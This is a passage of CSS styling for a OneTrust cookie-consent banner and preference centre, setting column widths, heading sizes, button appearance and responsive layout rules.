        #onetrust-banner-sdk .ot-sdk-two.ot-sdk-columns,
        #onetrust-pc-sdk .ot-sdk-two.ot-sdk-columns,
        #ot-sdk-cookie-policy .ot-sdk-two.ot-sdk-columns {
          width: 13.3333333333%
        }

        #onetrust-banner-sdk .ot-sdk-three.ot-sdk-columns,
        #onetrust-pc-sdk .ot-sdk-three.ot-sdk-columns,
        #ot-sdk-cookie-policy .ot-sdk-three.ot-sdk-columns {
          width: 22%
        }

        #onetrust-banner-sdk .ot-sdk-four.ot-sdk-columns,
        #onetrust-pc-sdk .ot-sdk-four.ot-sdk-columns,
        #ot-sdk-cookie-policy .ot-sdk-four.ot-sdk-columns {
          width: 30.6666666667%
        }

        #onetrust-banner-sdk .ot-sdk-eight.ot-sdk-columns,
        #onetrust-pc-sdk .ot-sdk-eight.ot-sdk-columns,
        #ot-sdk-cookie-policy .ot-sdk-eight.ot-sdk-columns {
          width: 65.3333333333%
        }

        #onetrust-banner-sdk .ot-sdk-nine.ot-sdk-columns,
        #onetrust-pc-sdk .ot-sdk-nine.ot-sdk-columns,
        #ot-sdk-cookie-policy .ot-sdk-nine.ot-sdk-columns {
          width: 74%
        }

        #onetrust-banner-sdk .ot-sdk-ten.ot-sdk-columns,
        #onetrust-pc-sdk .ot-sdk-ten.ot-sdk-columns,
        #ot-sdk-cookie-policy .ot-sdk-ten.ot-sdk-columns {
          width: 82.6666666667%
        }

        #onetrust-banner-sdk .ot-sdk-eleven.ot-sdk-columns,
        #onetrust-pc-sdk .ot-sdk-eleven.ot-sdk-columns,
        #ot-sdk-cookie-policy .ot-sdk-eleven.ot-sdk-columns {
          width: 91.3333333333%
        }

        #onetrust-banner-sdk .ot-sdk-twelve.ot-sdk-columns,
        #onetrust-pc-sdk .ot-sdk-twelve.ot-sdk-columns,
        #ot-sdk-cookie-policy .ot-sdk-twelve.ot-sdk-columns {
          width: 100%;
          margin-left: 0
        }
      }

      #onetrust-banner-sdk h1,
      #onetrust-banner-sdk h2,
      #onetrust-banner-sdk h3,
      #onetrust-banner-sdk h4,
      #onetrust-banner-sdk h5,
      #onetrust-banner-sdk h6,
      #onetrust-banner-sdk p[role=heading],
      #onetrust-pc-sdk h1,
      #onetrust-pc-sdk h2,
      #onetrust-pc-sdk h3,
      #onetrust-pc-sdk h4,
      #onetrust-pc-sdk h5,
      #onetrust-pc-sdk h6,
      #onetrust-pc-sdk p[role=heading],
      #ot-sdk-cookie-policy h1,
      #ot-sdk-cookie-policy h2,
      #ot-sdk-cookie-policy h3,
      #ot-sdk-cookie-policy h4,
      #ot-sdk-cookie-policy h5,
      #ot-sdk-cookie-policy h6,
      #ot-sdk-cookie-policy p[role=heading] {
        margin-top: 0;
        font-weight: 600;
        font-family: inherit
      }

      #onetrust-banner-sdk h1,
      #onetrust-pc-sdk h1,
      #ot-sdk-cookie-policy h1 {
        font-size: 1.5rem;
        line-height: 1.2
      }

      #onetrust-banner-sdk h2,
      #onetrust-pc-sdk h2,
      #ot-sdk-cookie-policy h2 {
        font-size: 1.5rem;
        line-height: 1.25
      }

      #onetrust-banner-sdk h3,
      #onetrust-pc-sdk h3,
      #ot-sdk-cookie-policy h3 {
        font-size: 1.5rem;
        line-height: 1.3
      }

      #onetrust-banner-sdk h4,
      #onetrust-pc-sdk h4,
      #ot-sdk-cookie-policy h4 {
        font-size: 1.5rem;
        line-height: 1.35
      }

      #onetrust-banner-sdk h5,
      #onetrust-pc-sdk h5,
      #ot-sdk-cookie-policy h5 {
        font-size: 1.5rem;
        line-height: 1.5
      }

      #onetrust-banner-sdk h6,
      #onetrust-pc-sdk h6,
      #ot-sdk-cookie-policy h6 {
        font-size: 1.5rem;
        line-height: 1.6
      }

      @media(min-width: 550px) {

        #onetrust-banner-sdk h1,
        #onetrust-pc-sdk h1,
        #ot-sdk-cookie-policy h1 {
          font-size: 1.5rem
        }

        #onetrust-banner-sdk h2,
        #onetrust-pc-sdk h2,
        #ot-sdk-cookie-policy h2 {
          font-size: 1.5rem
        }

        #onetrust-banner-sdk h3,
        #onetrust-pc-sdk h3,
        #ot-sdk-cookie-policy h3 {
          font-size: 1.5rem
        }

        #onetrust-banner-sdk h4,
        #onetrust-pc-sdk h4,
        #ot-sdk-cookie-policy h4 {
          font-size: 1.5rem
        }

        #onetrust-banner-sdk h5,
        #onetrust-pc-sdk h5,
        #ot-sdk-cookie-policy h5 {
          font-size: 1.5rem
        }

        #onetrust-banner-sdk h6,
        #onetrust-pc-sdk h6,
        #ot-sdk-cookie-policy h6 {
          font-size: 1.5rem
        }
      }

      #onetrust-banner-sdk p:not([role=heading]),
      #onetrust-pc-sdk p:not([role=heading]),
      #ot-sdk-cookie-policy p:not([role=heading]) {
        margin: 0 0 1em 0;
        font-family: inherit;
        line-height: normal
      }

      #onetrust-banner-sdk a,
      #onetrust-pc-sdk a,
      #ot-sdk-cookie-policy a {
        color: #565656;
        text-decoration: underline
      }

      #onetrust-banner-sdk a:hover,
      #onetrust-pc-sdk a:hover,
      #ot-sdk-cookie-policy a:hover {
        color: #565656;
        text-decoration: none
      }

      #onetrust-banner-sdk .ot-sdk-button,
      #onetrust-banner-sdk button,
      #onetrust-pc-sdk .ot-sdk-button,
      #onetrust-pc-sdk button,
      #ot-sdk-cookie-policy .ot-sdk-button,
      #ot-sdk-cookie-policy button {
        margin-bottom: 1rem;
        font-family: inherit
      }

      #onetrust-banner-sdk .ot-sdk-button,
      #onetrust-banner-sdk button,
      #onetrust-pc-sdk .ot-sdk-button,
      #onetrust-pc-sdk button,
      #ot-sdk-cookie-policy .ot-sdk-button,
      #ot-sdk-cookie-policy button {
        display: inline-block;
        height: 38px;
        padding: 0 30px;
        color: #555;
        text-align: center;
        font-size: .9em;
        font-weight: 400;
        line-height: 38px;
        letter-spacing: .01em;
        text-decoration: none;
        white-space: nowrap;
        background-color: rgba(0, 0, 0, 0);
        border-radius: 2px;
        border: 1px solid #bbb;
        cursor: pointer;
        box-sizing: border-box
      }

      #onetrust-banner-sdk .ot-sdk-button:hover,
      #onetrust-banner-sdk :not(.ot-leg-btn-container):not(.ot-confirm-dialog-buttons)>button:not(.ot-link-btn):hover,
      #onetrust-banner-sdk :not(.ot-leg-btn-container):not(.ot-confirm-dialog-buttons)>button:not(.ot-link-btn):focus,
      #onetrust-pc-sdk .ot-sdk-button:hover,
      #onetrust-pc-sdk :not(.ot-leg-btn-container):not(.ot-confirm-dialog-buttons)>button:not(.ot-link-btn):hover,
      #onetrust-pc-sdk :not(.ot-leg-btn-container):not(.ot-confirm-dialog-buttons)>button:not(.ot-link-btn):focus,
      #ot-sdk-cookie-policy .ot-sdk-button:hover,
      #ot-sdk-cookie-policy :not(.ot-leg-btn-container):not(.ot-confirm-dialog-buttons)>button:not(.ot-link-btn):hover,
      #ot-sdk-cookie-policy :not(.ot-leg-btn-container):not(.ot-confirm-dialog-buttons)>button:not(.ot-link-btn):focus {
        color: #333;
        border-color: #888;
        opacity: .9
      }

      #onetrust-banner-sdk .ot-sdk-button:focus,
      #onetrust-banner-sdk :not(.ot-leg-btn-container)>button:focus,
      #onetrust-pc-sdk .ot-sdk-button:focus,
      #onetrust-pc-sdk :not(.ot-leg-btn-container)>button:focus,
      #ot-sdk-cookie-policy .ot-sdk-button:focus,
      #ot-sdk-cookie-policy :not(.ot-leg-btn-container)>button:focus {
        outline: 2px solid #000
      }

      #onetrust-banner-sdk .ot-sdk-button.ot-sdk-button-primary,
      #onetrust-banner-sdk button.ot-sdk-button-primary,
      #onetrust-banner-sdk input[type=submit].ot-sdk-button-primary,
      #onetrust-banner-sdk input[type=reset].ot-sdk-button-primary,
      #onetrust-banner-sdk input[type=button].ot-sdk-button-primary,
      #onetrust-pc-sdk .ot-sdk-button.ot-sdk-button-primary,
      #onetrust-pc-sdk button.ot-sdk-button-primary,
      #onetrust-pc-sdk input[type=submit].ot-sdk-button-primary,
      #onetrust-pc-sdk input[type=reset].ot-sdk-button-primary,
      #onetrust-pc-sdk input[type=button].ot-sdk-button-primary,
      #ot-sdk-cookie-policy .ot-sdk-button.ot-sdk-button-primary,
      #ot-sdk-cookie-policy button.ot-sdk-button-primary,
      #ot-sdk-cookie-policy input[type=submit].ot-sdk-button-primary,
      #ot-sdk-cookie-policy input[type=reset].ot-sdk-button-primary,
      #ot-sdk-cookie-policy input[type=button].ot-sdk-button-primary {
        color: #fff;
        background-color: #33c3f0;
        border-color: #33c3f0
      }

      #onetrust-banner-sdk .ot-sdk-button.ot-sdk-button-primary:hover,
      #onetrust-banner-sdk button.ot-sdk-button-primary:hover,
      #onetrust-banner-sdk input[type=submit].ot-sdk-button-primary:hover,
      #onetrust-banner-sdk input[type=reset].ot-sdk-button-primary:hover,
      #onetrust-banner-sdk input[type=button].ot-sdk-button-primary:hover,
      #onetrust-banner-sdk .ot-sdk-button.ot-sdk-button-primary:focus,
      #onetrust-banner-sdk button.ot-sdk-button-primary:focus,
      #onetrust-banner-sdk input[type=submit].ot-sdk-button-primary:focus,
      #onetrust-banner-sdk input[type=reset].ot-sdk-button-primary:focus,
      #onetrust-banner-sdk input[type=button].ot-sdk-button-primary:focus,
      #onetrust-pc-sdk .ot-sdk-button.ot-sdk-button-primary:hover,
      #onetrust-pc-sdk button.ot-sdk-button-primary:hover,
      #onetrust-pc-sdk input[type=submit].ot-sdk-button-primary:hover,
      #onetrust-pc-sdk input[type=reset].ot-sdk-button-primary:hover,
      #onetrust-pc-sdk input[type=button].ot-sdk-button-primary:hover,
      #onetrust-pc-sdk .ot-sdk-button.ot-sdk-button-primary:focus,
      #onetrust-pc-sdk button.ot-sdk-button-primary:focus,
      #onetrust-pc-sdk input[type=submit].ot-sdk-button-primary:focus,
      #onetrust-pc-sdk input[type=reset].ot-sdk-button-primary:focus,
      #onetrust-pc-sdk input[type=button].ot-sdk-button-primary:focus,
      #ot-sdk-cookie-policy .ot-sdk-button.ot-sdk-button-primary:hover,
      #ot-sdk-cookie-policy button.ot-sdk-button-primary:hover,
      #ot-sdk-cookie-policy input[type=submit].ot-sdk-button-primary:hover,
      #ot-sdk-cookie-policy input[type=reset].ot-sdk-button-primary:hover,
      #ot-sdk-cookie-policy input[type=button].ot-sdk-button-primary:hover,
      #ot-sdk-cookie-policy .ot-sdk-button.ot-sdk-button-primary:focus,
      #ot-sdk-cookie-policy button.ot-sdk-button-primary:focus,
      #ot-sdk-cookie-policy input[type=submit].ot-sdk-button-primary:focus,
      #ot-sdk-cookie-policy input[type=reset].ot-sdk-button-primary:focus,
      #ot-sdk-cookie-policy input[type=button].ot-sdk-button-primary:focus {
        color: #fff;
        background-color: #1eaedb;
        border-color: #1eaedb
      }

      #onetrust-banner-sdk input[type=text],
      #onetrust-pc-sdk input[type=text],
      #ot-sdk-cookie-policy input[type=text] {
        height: 38px;
        padding: 6px 10px;
        background-color: #fff;
        border: 1px solid #707070;
        border-radius: 4px;
        box-shadow: none;
        box-sizing: border-box
      }

      #onetrust-banner-sdk input[type=text],
      #onetrust-pc-sdk input[type=text],
      #ot-sdk-cookie-policy input[type=text] {
        -webkit-appearance: none;
        -moz-appearance: none;
        appearance: none
      }

      #onetrust-banner-sdk input[type=text]:focus,
      #onetrust-pc-sdk input[type=text]:focus,
      #ot-sdk-cookie-policy input[type=text]:focus {
        border: 1px solid #000;
        outline: 0
      }

      #onetrust-banner-sdk label,
      #onetrust-pc-sdk label,
      #ot-sdk-cookie-policy label {
        display: block;
        margin-bottom: .5rem;
        font-weight: 600
      }

      #onetrust-banner-sdk input[type=checkbox],
      #onetrust-pc-sdk input[type=checkbox],
      #ot-sdk-cookie-policy input[type=checkbox] {
        display: inline
      }

      #onetrust-banner-sdk ul,
      #onetrust-pc-sdk ul,
      #ot-sdk-cookie-policy ul {
        list-style: circle inside
      }

      #onetrust-banner-sdk ul,
      #onetrust-pc-sdk ul,
      #ot-sdk-cookie-policy ul {
        padding-left: 0;
        margin-top: 0
      }

      #onetrust-banner-sdk ul ul,
      #onetrust-pc-sdk ul ul,
      #ot-sdk-cookie-policy ul ul {
        margin: 1.5rem 0 1.5rem 3rem;
        font-size: 90%
      }

      #onetrust-banner-sdk li,
      #onetrust-pc-sdk li,
      #ot-sdk-cookie-policy li {
        margin-bottom: 1rem
      }

      #onetrust-banner-sdk th,
      #onetrust-banner-sdk td,
      #onetrust-pc-sdk th,
      #onetrust-pc-sdk td,
      #ot-sdk-cookie-policy th,
      #ot-sdk-cookie-policy td {
        padding: 12px 15px;
        text-align: left;
        border-bottom: 1px solid #e1e1e1
      }

      #onetrust-banner-sdk button,
      #onetrust-pc-sdk button,
      #ot-sdk-cookie-policy button {
        margin-bottom: 1rem;
        font-family: inherit
      }

      #onetrust-banner-sdk .ot-sdk-container:after,
      #onetrust-banner-sdk .ot-sdk-row:after,
      #onetrust-pc-sdk .ot-sdk-container:after,
      #onetrust-pc-sdk .ot-sdk-row:after,
      #ot-sdk-cookie-policy .ot-sdk-container:after,
      #ot-sdk-cookie-policy .ot-sdk-row:after {
        content: "";
        display: table;
        clear: both
      }

      #onetrust-banner-sdk .ot-sdk-row,
      #onetrust-pc-sdk .ot-sdk-row,
      #ot-sdk-cookie-policy .ot-sdk-row {
        margin: 0;
        max-width: none;
        display: block
      }

      #onetrust-banner-sdk {
        box-shadow: 0 0 18px rgba(0, 0, 0, .2)
      }

      #onetrust-banner-sdk.otFlat {
        position: fixed;
        z-index: 2147483645;
        bottom: 0;
        right: 0;
        left: 0;
        background-color: #fff;
        max-height: 90%;
        overflow-x: hidden;
        overflow-y: auto
      }

      #onetrust-banner-sdk.otFlat.top {
        top: 0px;
        bottom: auto
      }

      #onetrust-banner-sdk.otRelFont {
        font-size: 1rem
      }

      #onetrust-banner-sdk>.ot-sdk-container {
        overflow: hidden
      }

      #onetrust-banner-sdk::-webkit-scrollbar {
        width: 11px
      }

      #onetrust-banner-sdk::-webkit-scrollbar-thumb {
        border-radius: 10px;
        background: #c1c1c1
      }

      #onetrust-banner-sdk {
        scrollbar-arrow-color: #c1c1c1;
        scrollbar-darkshadow-color: #c1c1c1;
        scrollbar-face-color: #c1c1c1;
        scrollbar-shadow-color: #c1c1c1
      }

      #onetrust-banner-sdk #onetrust-policy {
        margin: 1.25em 0 .625em 2em;
        overflow: hidden
      }

      #onetrust-banner-sdk #onetrust-policy .ot-gv-list-handler {
        float: left;
        font-size: .82em;
        padding: 0;
        margin-bottom: 0;
        border: 0;
        line-height: normal;
        height: auto;
        width: auto
      }

      #onetrust-banner-sdk #onetrust-policy-title {
        font-size: 1.2em;
        line-height: 1.3;
        margin-bottom: 10px
      }

      #onetrust-banner-sdk #onetrust-group-container {
        position: relative
      }

      #onetrust-banner-sdk #onetrust-policy-text {
        clear: both;
        text-align: left;
        font-size: .88em;
        line-height: 1.4
      }

      #onetrust-banner-sdk #onetrust-policy-text * {
        font-size: inherit;
        line-height: inherit
      }

      #onetrust-banner-sdk #onetrust-policy-text a {
        font-weight: bold
      }

      #onetrust-banner-sdk #onetrust-policy-title,
      #onetrust-banner-sdk #onetrust-policy-text {
        color: dimgray;
        float: left
      }

      #onetrust-banner-sdk #onetrust-button-group-parent {
        min-height: 1px;
        text-align: center
      }

      #onetrust-banner-sdk #onetrust-button-group {
        display: inline-block
      }

      #onetrust-banner-sdk #onetrust-accept-btn-handler,
      #onetrust-banner-sdk #onetrust-reject-all-handler,
      #onetrust-banner-sdk #onetrust-pc-btn-handler {
        background-color: #68b631;
        color: #fff;
        border-color: #68b631;
        margin-right: 1em;
        min-width: 125px;
        height: auto;
        white-space: normal;
        word-break: break-word;
        word-wrap: break-word;
        padding: 12px 10px;
        line-height: 1.2;
        font-size: .813em;
        font-weight: 600
      }

      #onetrust-banner-sdk #onetrust-pc-btn-handler.cookie-setting-link {
        background-color: #fff;
        border: none;
        color: #68b631;
        text-decoration: underline;
        padding-left: 0;
        padding-right: 0
      }

      #onetrust-banner-sdk .onetrust-close-btn-ui {
        width: 44px;
        height: 44px;
        background-size: 12px;
        border: none;
        position: relative;
        margin: auto;
        padding: 0
      }

      #onetrust-banner-sdk .banner_logo {
        display: none
      }

      #onetrust-banner-sdk.ot-bnr-w-logo .ot-bnr-logo {
        position: absolute;
        top: 50%;
        transform: translateY(-50%);
        left: 0px;
        margin-right: 5px
      }

      #onetrust-banner-sdk.ot-bnr-w-logo #onetrust-policy {
        margin-left: 65px
      }

      #onetrust-banner-sdk .ot-b-addl-desc {
        clear: both;
        float: left;
        display: block
      }

      #onetrust-banner-sdk #banner-options {
        float: left;
        display: table;
        margin-right: 0;
        margin-left: 1em;
        width: calc(100% - 1em)
      }

      #onetrust-banner-sdk .banner-option-input {
        cursor: pointer;
        width: auto;
        height: auto;
        border: none;
        padding: 0;
        padding-right: 3px;
        margin: 0 0 10px;
        font-size: .82em;
        line-height: 1.4
      }

      #onetrust-banner-sdk .banner-option-input * {
        pointer-events: none;
        font-size: inherit;
        line-height: inherit
      }

      #onetrust-banner-sdk .banner-option-input[aria-expanded=true]~.banner-option-details {
        display: block;
        height: auto
      }

      #onetrust-banner-sdk .banner-option-input[aria-expanded=true] .ot-arrow-container {
        transform: rotate(90deg)
      }

      #onetrust-banner-sdk .banner-option {
        margin-bottom: 12px;
        margin-left: 0;
        border: none;
        float: left;
        padding: 0
      }

      #onetrust-banner-sdk .banner-option:first-child {
        padding-left: 2px
      }

      #onetrust-banner-sdk .banner-option:not(:first-child) {
        padding: 0;
        border: none
      }

      #onetrust-banner-sdk .banner-option-header {
        cursor: pointer;
        display: inline-block
      }

      #onetrust-banner-sdk .banner-option-header :first-child {
        color: dimgray;
        font-weight: bold;
        float: left
      }

      #onetrust-banner-sdk .banner-option-header .ot-arrow-container {
        display: inline-block;
        border-top: 6px solid rgba(0, 0, 0, 0);
        border-bottom: 6px solid rgba(0, 0, 0, 0);
        border-left: 6px solid dimgray;
        margin-left: 10px;
        vertical-align: middle
      }

      #onetrust-banner-sdk .banner-option-details {
        display: none;
        font-size: .83em;
        line-height: 1.5;
        padding: 10px 0px 5px 10px;
        margin-right: 10px;
        height: 0px
      }

      #onetrust-banner-sdk .banner-option-details * {
        font-size: inherit;
        line-height: inherit;
        color: dimgray
      }

      #onetrust-banner-sdk .ot-arrow-container,
      #onetrust-banner-sdk .banner-option-details {
        transition: all 300ms ease-in 0s;
        -webkit-transition: all 300ms ease-in 0s;
        -moz-transition: all 300ms ease-in 0s;
        -o-transition: all 300ms ease-in 0s
      }

      #onetrust-banner-sdk .ot-dpd-container {
        float: left
      }

      #onetrust-banner-sdk .ot-dpd-title {
        margin-bottom: 10px
      }

      #onetrust-banner-sdk .ot-dpd-title,
      #onetrust-banner-sdk .ot-dpd-desc {
        font-size: .88em;
        line-height: 1.4;
        color: dimgray
      }

      #onetrust-banner-sdk .ot-dpd-title *,
      #onetrust-banner-sdk .ot-dpd-desc * {
        font-size: inherit;
        line-height: inherit
      }

      #onetrust-banner-sdk.ot-iab-2 #onetrust-policy-text * {
        margin-bottom: 0
      }

      #onetrust-banner-sdk.ot-iab-2 .onetrust-vendors-list-handler {
        display: block;
        margin-left: 0;
        margin-top: 5px;
        clear: both;
        margin-bottom: 0;
        padding: 0;
        border: 0;
        height: auto;
        width: auto
      }

      #onetrust-banner-sdk.ot-iab-2 #onetrust-button-group button {
        display: block
      }

      #onetrust-banner-sdk.ot-close-btn-link {
        padding-top: 25px
      }

      #onetrust-banner-sdk.ot-close-btn-link #onetrust-close-btn-container {
        top: 15px;
        transform: none;
        right: 15px
      }

      #onetrust-banner-sdk.ot-close-btn-link #onetrust-close-btn-container button {
        padding: 0;
        white-space: pre-wrap;
        border: none;
        height: auto;
        line-height: 1.5;
        text-decoration: underline;
        font-size: .69em
      }

      #onetrust-banner-sdk #onetrust-policy-text,
      #onetrust-banner-sdk .ot-dpd-desc,
      #onetrust-banner-sdk .ot-b-addl-desc {
        font-size: .813em;
        line-height: 1.5
      }

      #onetrust-banner-sdk .ot-dpd-desc {
        margin-bottom: 10px
      }

      #onetrust-banner-sdk .ot-dpd-desc>.ot-b-addl-desc {
        margin-top: 10px;
        margin-bottom: 10px;
        font-size: 1em
      }

      @media only screen and (max-width: 425px) {
        #onetrust-banner-sdk #onetrust-close-btn-container {
          position: absolute;
          top: 6px;
          right: 2px
        }

        #onetrust-banner-sdk #onetrust-policy {
          margin-left: 0;
          margin-top: 3em
        }

        #onetrust-banner-sdk #onetrust-button-group {
          display: block
        }

        #onetrust-banner-sdk #onetrust-accept-btn-handler,
        #onetrust-banner-sdk #onetrust-reject-all-handler,
        #onetrust-banner-sdk #onetrust-pc-btn-handler {
          width: 100%
        }

        #onetrust-banner-sdk .onetrust-close-btn-ui {
          top: auto;
          transform: none
        }

        #onetrust-banner-sdk #onetrust-policy-title {
          display: inline;
          float: none
        }

        #onetrust-banner-sdk #banner-options {
          margin: 0;
          padding: 0;
          width: 100%
        }
      }

      @media only screen and (max-width: 550px) {

        #onetrust-button-group.ot-button-order-container #onetrust-accept-btn-handler,
        #onetrust-button-group.ot-button-order-container #onetrust-reject-all-handler,
        #onetrust-button-group.ot-button-order-container #onetrust-pc-btn-handler {
          margin-right: 0
        }

        #onetrust-banner-sdk .has-reject-all-button div#onetrust-button-group.ot-button-order-container #onetrust-accept-btn-handler,
        #onetrust-banner-sdk .has-reject-all-button div#onetrust-button-group.ot-button-order-container #onetrust-reject-all-handler,
        #onetrust-banner-sdk .has-reject-all-button div#onetrust-button-group.ot-button-order-container #onetrust-pc-btn-handler {
          margin-right: 0
        }
      }

      @media only screen and (min-width: 426px)and (max-width: 896px) {
        #onetrust-banner-sdk #onetrust-close-btn-container {
          position: absolute;
          top: 0;
          right: 0
        }

        #onetrust-banner-sdk #onetrust-policy {
          margin-left: 1em;
          margin-right: 1em
        }

        #onetrust-banner-sdk .onetrust-close-btn-ui {
          top: 10px;
          right: 10px
        }

        #onetrust-banner-sdk:not(.ot-iab-2) #onetrust-group-container {
          width: 95%
        }

        #onetrust-banner-sdk.ot-iab-2 #onetrust-group-container {
          width: 100%
        }

        #onetrust-banner-sdk.ot-bnr-w-logo #onetrust-button-group-parent {
          padding-left: 50px
        }

        #onetrust-banner-sdk #onetrust-button-group-parent {
          width: 100%;
          position: relative;
          margin-left: 0
        }

        #onetrust-banner-sdk #onetrust-button-group button {
          display: inline-block
        }

        #onetrust-banner-sdk #onetrust-button-group {
          margin-right: 0;
          text-align: center
        }

        #onetrust-banner-sdk #onetrust-button-group.ot-button-order-container #onetrust-accept-btn-handler,
        #onetrust-banner-sdk #onetrust-button-group.ot-button-order-container #onetrust-reject-all-handler,
        #onetrust-banner-sdk #onetrust-button-group.ot-button-order-container #onetrust-pc-btn-handler {
          width: auto
        }

        #onetrust-banner-sdk .has-reject-all-button #onetrust-button-group.ot-button-order-container {
          display: inline-flex;
          flex-wrap: wrap
        }

        #onetrust-banner-sdk .has-reject-all-button #onetrust-button-group.ot-button-order-container #onetrust-pc-btn-handler,
        #onetrust-banner-sdk .has-reject-all-button #onetrust-button-group.ot-button-order-container #onetrust-reject-all-handler,
        #onetrust-banner-sdk .has-reject-all-button #onetrust-button-group.ot-button-order-container #onetrust-accept-btn-handler {
          float: none
        }

        #onetrust-banner-sdk .has-reject-all-button #onetrust-button-group.ot-button-order-container *[class*=ot-button-order-]:nth-of-type(1) {
          margin-right: auto !important
        }

        #onetrust-banner-sdk .has-reject-all-button #onetrust-pc-btn-handler {
          float: left
        }

        #onetrust-banner-sdk .has-reject-all-button #onetrust-reject-all-handler,
        #onetrust-banner-sdk .has-reject-all-button #onetrust-accept-btn-handler {
          float: right
        }

        #onetrust-banner-sdk .has-reject-all-button #onetrust-button-group {
          width: calc(100% - 2em);
          margin-right: 0
        }

        #onetrust-banner-sdk .has-reject-all-button #onetrust-pc-btn-handler.cookie-setting-link {
          padding-left: 0px;
          text-align: left
        }

        #onetrust-banner-sdk.ot-buttons-fw .ot-sdk-three button {
          width: 100%;
          text-align: center
        }

        #onetrust-banner-sdk.ot-buttons-fw #onetrust-button-group-parent button {
          float: none
        }

        #onetrust-banner-sdk.ot-buttons-fw #onetrust-pc-btn-handler.cookie-setting-link {
          text-align: center
        }
      }

      @media only screen and (min-width: 550px) {
        #onetrust-banner-sdk .banner-option:not(:first-child) {
          border-left: 1px solid #d8d8d8;
          padding-left: 25px
        }
      }

      @media only screen and (min-width: 425px)and (max-width: 550px) {

        #onetrust-banner-sdk.ot-iab-2 #onetrust-button-group,
        #onetrust-banner-sdk.ot-iab-2 .banner-option {
          width: 100%
        }

        #onetrust-banner-sdk.ot-iab-2 #onetrust-button-group #onetrust-accept-btn-handler,
        #onetrust-banner-sdk.ot-iab-2 #onetrust-button-group #onetrust-reject-all-handler,
        #onetrust-banner-sdk.ot-iab-2 #onetrust-button-group #onetrust-pc-btn-handler {
          width: 100%
        }

        #onetrust-banner-sdk.ot-iab-2 #onetrust-button-group #onetrust-accept-btn-handler,
        #onetrust-banner-sdk.ot-iab-2 #onetrust-button-group #onetrust-reject-all-handler {
          float: left
        }

        #onetrust-banner-sdk.ot-iab-2 #onetrust-button-group.ot-button-order-container {
          width: auto
        }
      }

      @media only screen and (min-width: 769px) {
        #onetrust-banner-sdk #onetrust-button-group {
          margin-right: 30%
        }

        #onetrust-banner-sdk #banner-options {
          margin-left: 2em;
          margin-right: 5em;
          margin-bottom: 1.25em;
          width: calc(100% - 7em)
        }
      }

      @media only screen and (min-width: 897px)and (max-width: 1023px) {
        #onetrust-banner-sdk.vertical-align-content #onetrust-button-group-parent {
          position: absolute;
          top: 50%;
          left: 80%;
          transform: translateY(-50%)
        }

        #onetrust-banner-sdk #onetrust-close-btn-container {
          top: 50%;
          margin: auto;
          transform: translate(-50%, -50%);
          position: absolute;
          padding: 0;
          right: 0
        }

        #onetrust-banner-sdk #onetrust-close-btn-container button {
          position: relative;
          margin: 0;
          right: -22px;
          top: 2px
        }
      }

      @media only screen and (min-width: 1024px) {
        #onetrust-banner-sdk #onetrust-close-btn-container {
          top: 50%;
          margin: auto;
          transform: translate(-50%, -50%);
          position: absolute;
          right: 0
        }

        #onetrust-banner-sdk #onetrust-close-btn-container button {
          right: -12px
        }

        #onetrust-banner-sdk #onetrust-policy {
          margin-left: 2em
        }

        #onetrust-banner-sdk.vertical-align-content #onetrust-button-group-parent {
          position: absolute;
          top: 50%;
          left: 60%;
          transform: translateY(-50%)
        }

        #onetrust-banner-sdk .ot-optout-signal {
          width: 50%
        }

        #onetrust-banner-sdk.ot-iab-2 #onetrust-policy-title {
          width: 50%
        }

        #onetrust-banner-sdk.ot-iab-2 #onetrust-policy-text,
        #onetrust-banner-sdk.ot-iab-2 :not(.ot-dpd-desc)>.ot-b-addl-desc {
          margin-bottom: 1em;
          width: 50%;
          border-right: 1px solid #d8d8d8;
          padding-right: 1rem
        }

        #onetrust-banner-sdk.ot-iab-2 #onetrust-policy-text {
          margin-bottom: 0;
          padding-bottom: 1em
        }

        #onetrust-banner-sdk.ot-iab-2 :not(.ot-dpd-desc)>.ot-b-addl-desc {
          margin-bottom: 0;
          padding-bottom: 1em
        }

        #onetrust-banner-sdk.ot-iab-2 .ot-dpd-container {
          width: 45%;
          padding-left: 1rem;
          display: inline-block;
          float: none
        }

        #onetrust-banner-sdk.ot-iab-2 .ot-dpd-title {
          line-height: 1.7
        }

        #onetrust-banner-sdk.ot-iab-2 #onetrust-button-group-parent {
          left: auto;
          right: 4%;
          margin-left: 0
        }

        #onetrust-banner-sdk.ot-iab-2 #onetrust-button-group button {
          display: block
        }

        #onetrust-banner-sdk:not(.ot-iab-2) #onetrust-button-group-parent {
          margin: auto;
          width: 30%
        }

        #onetrust-banner-sdk:not(.ot-iab-2) #onetrust-group-container {
          width: 60%
        }

        #onetrust-banner-sdk #onetrust-button-group {
          margin-right: auto
        }

        #onetrust-banner-sdk #onetrust-accept-btn-handler,
        #onetrust-banner-sdk #onetrust-reject-all-handler,
        #onetrust-banner-sdk #onetrust-pc-btn-handler {
          margin-top: 1em
        }
      }

      @media only screen and (min-width: 890px) {
        #onetrust-banner-sdk.ot-buttons-fw:not(.ot-iab-2) #onetrust-button-group-parent {
          padding-left: 3%;
          padding-right: 4%;
          margin-left: 0
        }

        #onetrust-banner-sdk.ot-buttons-fw:not(.ot-iab-2) #onetrust-button-group {
          margin-right: 0;
          margin-top: 1.25em;
          width: 100%
        }

        #onetrust-banner-sdk.ot-buttons-fw:not(.ot-iab-2) #onetrust-button-group button {
          width: 100%;
          margin-bottom: 5px;
          margin-top: 5px
        }

        #onetrust-banner-sdk.ot-buttons-fw:not(.ot-iab-2) #onetrust-button-group button:last-of-type {
          margin-bottom: 20px
        }
      }

      @media only screen and (min-width: 1280px) {
        #onetrust-banner-sdk:not(.ot-iab-2) #onetrust-group-container {
          width: 55%
        }

        #onetrust-banner-sdk:not(.ot-iab-2) #onetrust-button-group-parent {
          width: 44%;
          padding-left: 2%;
          padding-right: 2%
        }

        #onetrust-banner-sdk:not(.ot-iab-2).vertical-align-content #onetrust-button-group-parent {
          position: absolute;
          left: 55%
        }
      }

      #onetrust-consent-sdk #onetrust-banner-sdk {
        background-color: #ffffff;
      }

      #onetrust-consent-sdk #onetrust-policy-title,
      #onetrust-consent-sdk #onetrust-policy-text,
      #onetrust-consent-sdk .ot-b-addl-desc,
      #onetrust-consent-sdk .ot-dpd-desc,
      #onetrust-consent-sdk .ot-dpd-title,
      #onetrust-consent-sdk #onetrust-policy-text *:not(.onetrust-vendors-list-handler),
      #onetrust-consent-sdk .ot-dpd-desc *:not(.onetrust-vendors-list-handler),
      #onetrust-consent-sdk #onetrust-banner-sdk #banner-options *,
      #onetrust-banner-sdk .ot-cat-header,
      #onetrust-banner-sdk .ot-optout-signal {
        color: #3A3B3C;
      }

